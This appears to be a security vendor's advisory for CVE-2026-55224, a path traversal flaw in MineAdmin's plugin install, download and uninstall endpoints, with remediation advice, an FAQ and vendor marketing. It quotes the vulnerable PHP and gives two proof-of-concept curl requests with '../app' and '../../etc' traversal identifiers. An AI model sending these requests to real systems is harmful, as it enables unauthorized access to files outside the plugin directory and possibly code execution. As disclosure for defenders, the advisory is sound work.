CVE-2026-55224

MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool

    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();

    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

Already deployed Kodem?

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

1. What is CVE-2026-55224? CVE-2026-55224 is a high-severity path traversal vulnerability in mineadmin/mineadmin (composer), affecting versions < 3.2.0-alpha.2. It is fixed in 3.2.0-alpha.2. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of mineadmin/mineadmin are affected by CVE-2026-55224? mineadmin/mineadmin (composer) versions < 3.2.0-alpha.2 is affected.
3. Is there a fix for CVE-2026-55224? Yes. CVE-2026-55224 is fixed in 3.2.0-alpha.2. Upgrade to this version or later.
4. Is CVE-2026-55224 exploitable, and should I be worried? Whether CVE-2026-55224 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

5. What actually determines whether CVE-2026-55224 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-55224? Upgrade mineadmin/mineadmin to 3.2.0-alpha.2 or later.
